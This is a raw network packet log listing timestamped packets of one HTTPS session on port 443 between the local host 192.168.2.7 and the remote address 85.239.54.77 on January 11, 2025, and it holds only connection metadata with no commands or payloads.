Jan 11, 2025 09:26:39.819222927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.819257975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.878401995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.878438950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.878556013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.878582954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.878627062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.899626017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.899661064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.899804115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.899804115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.899837017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.899888992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.900017023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.900048971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.900077105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.900084019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.900105000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.900122881 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.900530100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.900552034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.900587082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.900594950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.900624990 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.900641918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.901488066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.901510954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.901547909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.901571989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.901587963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.901602983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.901921034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.901952982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.901981115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.901995897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.902015924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.902035952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.902697086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.902721882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.902757883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.902776003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.902789116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.902800083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.902812004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.902817011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.902837038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.902837992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.902863979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.902869940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.902893066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.902916908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.906378984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.965444088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.965487957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.965629101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.965661049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.965693951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.965745926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.986329079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.986354113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.986434937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.986463070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.986500978 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.986814976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.986840010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.986896038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.986908913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.986922026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.986949921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.987184048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.987205982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.987299919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.987299919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.987320900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.987368107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.987776995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.987802029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.987838984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.987847090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.987874985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.987891912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.988158941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.988183975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.988219023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.988224030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.988248110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.988265038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.988853931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.988886118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.988926888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.988931894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.988967896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.988976955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.988992929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.988997936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.989021063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:39.989037991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.989054918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.989084005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:39.994560957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.052155018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.052186966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.052294016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.052326918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.053599119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.073112011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.073141098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.073234081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.073261976 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.073509932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.073534966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.073568106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.073579073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.073599100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.073628902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.074031115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.074050903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.074125051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.074125051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.074134111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.074187994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.074641943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.074657917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.074693918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.074701071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.074727058 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.074743986 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.074953079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.074976921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.075001955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.075009108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.075032949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.075047016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.075387001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.075406075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.075448990 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.075455904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.075865984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.075887918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.075923920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.075930119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.075948954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.075974941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.083626032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.138972044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.138998985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.139117956 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.139132977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.142597914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.159956932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.159976959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.160096884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.160115957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.160563946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.160587072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.160664082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.160674095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.160695076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.160722971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.161078930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.161098003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.161144972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.161150932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.161194086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.161674023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.161694050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.161739111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.161745071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.161767006 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.161811113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.162097931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.162118912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.162149906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.162154913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.162200928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.163017035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.163034916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.163063049 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.163068056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.163110018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.163120031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.163137913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.163191080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.163194895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.163234949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.164613008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.168185949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.225634098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.225660086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.225714922 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.225739002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.225753069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.227148056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.246965885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.247001886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.247049093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.247083902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.247134924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.247309923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.247464895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.247492075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.247519970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.247528076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.247546911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.247565031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.248224020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.248240948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.248280048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.248286009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.248311996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.248331070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.248864889 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.248889923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.248938084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.248944044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.248960018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.248981953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.249001026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.249007940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.249021053 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.249600887 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.249814987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.249838114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.249875069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.249892950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.249903917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.249929905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.250678062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.250701904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.250752926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.250758886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.250782967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.250806093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.255364895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.312555075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.312581062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.312642097 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.312676907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.314579964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.333611965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.333636999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.333700895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.333723068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.334103107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.334136009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.334162951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.334172010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.334188938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.334213972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.334778070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.334795952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.334832907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.334841013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.334857941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.334887981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.335081100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.335097075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.335125923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.335133076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.335154057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.335170984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.336107016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.336122990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.336206913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.336221933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.336452961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.336472988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.336503029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.336509943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.336527109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.336549044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.337032080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.337048054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.337089062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.337095022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.337120056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.337143898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.337658882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.399374008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.399395943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.399498940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.399532080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.400564909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.420447111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.420483112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.420517921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.420536041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.420563936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.420581102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.420993090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.421013117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.421067953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.421087027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.421134949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.421539068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.421560049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.421590090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.421597004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.421641111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.422096014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.422113895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.422141075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.422148943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.422173977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.422189951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.422770977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.422786951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.422830105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.422836065 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.422904968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.423621893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.423648119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.423679113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.423686981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.423701048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.423711061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.423724890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.423732996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.423749924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.423753023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.423810005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.423810005 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.427552938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.486162901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.486181974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.486231089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.486248016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.486274004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.486316919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.507209063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.507226944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.507266998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.507275105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.507345915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.507939100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.507961988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.508075953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.508083105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:40.508177042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:40.508460999 CET	443	49941	85.239.54.77	192.168.2.7
